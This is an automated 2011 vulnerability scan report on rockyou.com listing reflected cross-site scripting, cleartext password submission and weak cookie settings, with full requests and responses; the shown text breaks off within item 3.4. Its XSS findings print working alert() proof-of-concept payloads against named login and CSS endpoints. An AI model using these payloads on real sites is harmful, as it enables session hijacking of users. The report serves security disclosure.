XSS, DORK, rockyou.com, Cross Site Scripting, CWE-79, CAPEc-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Mon Apr 18 17:12:40 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://www.rockyou.com/developer/opensocial/opensocial-css.php [name of an arbitrarily supplied request parameter]

1.2. http://www.rockyou.com/developer/opensocial/opensocial-css.php [title parameter]

1.3. http://www.rockyou.com/login/ [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A44)%3C/script%3E parameter]

1.4. http://www.rockyou.com/login/ [name of an arbitrarily supplied request parameter]

1.5. http://www.rockyou.com/login/index.php [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A5D)%3C/script%3E parameter]

1.6. http://www.rockyou.com/login/index.php [name of an arbitrarily supplied request parameter]

2. Cleartext submission of password

2.1. http://www.rockyou.com/login.php

2.2. http://www.rockyou.com/login.php

2.3. http://www.rockyou.com/login.php

3. Password field with autocomplete enabled

3.1. http://www.rockyou.com/login.php

3.2. http://www.rockyou.com/login.php

3.3. http://www.rockyou.com/login.php

3.4. http://www.rockyou.com/login.php

3.5. http://www.rockyou.com/login.php

3.6. http://www.rockyou.com/login.php

4. Cookie scoped to parent domain

4.1. http://www.rockyou.com/ajaxticker.php

4.2. http://www.rockyou.com/login.php

4.3. http://www.rockyou.com/tos.php

5. Cross-domain Referer leakage

6. Cross-domain script include

6.1. http://www.rockyou.com/login.php

6.2. http://www.rockyou.com/rymini/

6.3. http://www.rockyou.com/rymini/index.html

6.4. http://www.rockyou.com/tos.php

7. Cookie without HttpOnly flag set

7.1. http://www.rockyou.com/ajaxticker.php

7.2. http://www.rockyou.com/login.php

7.3. http://www.rockyou.com/tos.php

8. Email addresses disclosed

8.1. http://www.rockyou.com/checkuser.php

8.2. http://www.rockyou.com/js/lightbox/prototype.js

8.3. http://www.rockyou.com/login.php

8.4. http://www.rockyou.com/rymini/

8.5. http://www.rockyou.com/rymini/index.html

8.6. http://www.rockyou.com/tos.php

9. Content type incorrectly stated

9.1. http://www.rockyou.com/ajaxticker.php

9.2. http://www.rockyou.com/checkuser.php

9.3. http://www.rockyou.com/create-slideshow-js-combined.php

9.4. http://www.rockyou.com/events/include/ajaxtrackevent.php

9.5. http://www.rockyou.com/homepage/js/jquery.fancybox-1.3.1/ajax.txt

9.6. http://www.rockyou.com/partner/funmobility-ajax.php

9.7. http://www.rockyou.com/show_my_gallery-ajax.php



1. Cross-site scripting (reflected)  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.rockyou.com/developer/opensocial/opensocial-css.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /developer/opensocial/opensocial-css.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload c370c<script>alert(1)</script>d157fc9846a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /developer/opensocial/opensocial-css.php?title=http://dev2.rockyou.com/developer/opensocial/images/bg-title-products/c370c<script>alert(1)</script>d157fc9846a.gif HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:09 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=2734 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/css
Content-Length: 416

table {color:#414141}
th {text-align:left;font:bold 13px Arial, Helvetica, sans-serif}

.titlebar {background:url(http://dev2.rockyou.com/developer/opensocial/images/bg-title-products/c370c<script>alert(1)</script>d157fc9846a.gif) no-repeat;width:939px;height:91px;margin:15px auto 0px 18px}
.featurebox {background-color:#c0c0c0;width:594px;height:320px;padding:15px;font:bold 13px Arial, Helvetica, sans-serif}

1.2. http://www.rockyou.com/developer/opensocial/opensocial-css.php [title parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /developer/opensocial/opensocial-css.php

Issue detail

The value of the title request parameter is copied into the HTML document as plain text between tags. The payload 41041<script>alert(1)</script>916712ea3da was submitted in the title parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /developer/opensocial/opensocial-css.php?title=http://dev2.rockyou.com/developer/opensocial/images/bg-title-products.gif41041<script>alert(1)</script>916712ea3da HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:05 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=2674 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/css
Content-Length: 415

table {color:#414141}
th {text-align:left;font:bold 13px Arial, Helvetica, sans-serif}

.titlebar {background:url(http://dev2.rockyou.com/developer/opensocial/images/bg-title-products.gif41041<script>alert(1)</script>916712ea3da) no-repeat;width:939px;height:91px;margin:15px auto 0px 18px}
.featurebox {background-color:#c0c0c0;width:594px;height:320px;padding:15px;font:bold 13px Arial, Helvetica, sans-serif}

1.3. http://www.rockyou.com/login/ [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A44)%3C/script%3E parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login/

Issue detail

The value of the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A44)%3C/script%3E request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4db16'><script>alert(1)</script>70ef5e4caf7 was submitted in the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A44)%3C/script%3E parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /login/?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A44)%3C/script%3E4db16'><script>alert(1)</script>70ef5e4caf7 HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; AAMBLFLAG=SET; lastlogin=1303164368; sns_type=rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:06:26 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=1186 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 493

<form method='post' id='redirect_form' action='https://www.rockyou.com/login/?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A44)%3C/script%3E4db16'><script>alert(1)</script>70ef5e4caf7'></fo
...[SNIP]...

1.4. http://www.rockyou.com/login/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 89cfe'><script>alert(1)</script>7080b8b8398 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /login/?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A44)%3C/script%3E&89cfe'><script>alert(1)</script>7080b8b8398=1 HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; AAMBLFLAG=SET; lastlogin=1303164368; sns_type=rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:06:34 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=1276 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 496

<form method='post' id='redirect_form' action='https://www.rockyou.com/login/?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A44)%3C/script%3E&89cfe'><script>alert(1)</script>7080b8b8398=1'><
...[SNIP]...

1.5. http://www.rockyou.com/login/index.php [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A5D)%3C/script%3E parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login/index.php

Issue detail

The value of the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A5D)%3C/script%3E request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f1fb9'><script>alert(1)</script>afa40935826 was submitted in the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A5D)%3C/script%3E parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /login/index.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A5D)%3C/script%3Ef1fb9'><script>alert(1)</script>afa40935826 HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; AAMBLFLAG=SET; lastlogin=1303164319

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:06:09 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=1341 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 502

<form method='post' id='redirect_form' action='https://www.rockyou.com/login/index.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A5D)%3C/script%3Ef1fb9'><script>alert(1)</script>afa40935826'>
...[SNIP]...

1.6. http://www.rockyou.com/login/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4c1fe'><script>alert(1)</script>9081e91ace1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /login/index.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A5D)%3C/script%3E&4c1fe'><script>alert(1)</script>9081e91ace1=1 HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; AAMBLFLAG=SET; lastlogin=1303164319

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:06:16 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=1132 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 505

<form method='post' id='redirect_form' action='https://www.rockyou.com/login/index.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A5D)%3C/script%3E&4c1fe'><script>alert(1)</script>9081e91ace1=1'>
...[SNIP]...

2. Cleartext submission of password  previous  next
There are 3 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


2.1. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id="createform" style="display:none">
<form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">
Enter password to register.<br />
...[SNIP]...
</span>
<input type="password" name="pass" id="pass" value=""><br />
...[SNIP]...

2.2. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id="loginform" style="display:none">
<form name="loginforma" id="loginforma" method="post" action="" onsubmit="finishLogin();">
Enter password to Login..<br />
...[SNIP]...
<input type="hidden" name="mode" value="login">
<input type="password" name="pass" id="pass" value=""><br />
...[SNIP]...

2.3. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id='createform2' style="display:none">
<form name='createform2a' id="createform2a" method="post" style="padding:0;margin:0" onSubmit="finishLoginNewVerified();">
<input type="hidden" name="email">
...[SNIP]...
<td><input id="pass" type="password" name="pass"></td>
...[SNIP]...

3. Password field with autocomplete enabled  previous  next
There are 6 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; AAMBLFLAG=SET; lastlogin=1303164383; sns_type=rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:08:58 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:08:57 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303164538; expires=Wed, 27-Jul-2011 22:08:58 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 22:08:57 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11853 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 36457

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id="loginform" style="display:none">
<form name="loginforma" id="loginforma" method="post" action="" onsubmit="finishLogin();">
Enter password to Login..<br />
...[SNIP]...
<input type="hidden" name="mode" value="login">
<input type="password" name="pass" id="pass" value=""><br />
...[SNIP]...

3.2. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id="loginform" style="display:none">
<form name="loginforma" id="loginforma" method="post" action="" onsubmit="finishLogin();">
Enter password to Login..<br />
...[SNIP]...
<input type="hidden" name="mode" value="login">
<input type="password" name="pass" id="pass" value=""><br />
...[SNIP]...

3.3. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; AAMBLFLAG=SET; lastlogin=1303164383; sns_type=rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:08:58 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:08:57 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303164538; expires=Wed, 27-Jul-2011 22:08:58 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 22:08:57 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11853 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 36457

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id='createform2' style="display:none">
<form name='createform2a' id="createform2a" method="post" style="padding:0;margin:0" onSubmit="finishLoginNewVerified();">
<input type="hidden" name="email">
...[SNIP]...
<td><input id="pass" type="password" name="pass"></td>
...[SNIP]...

3.4. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

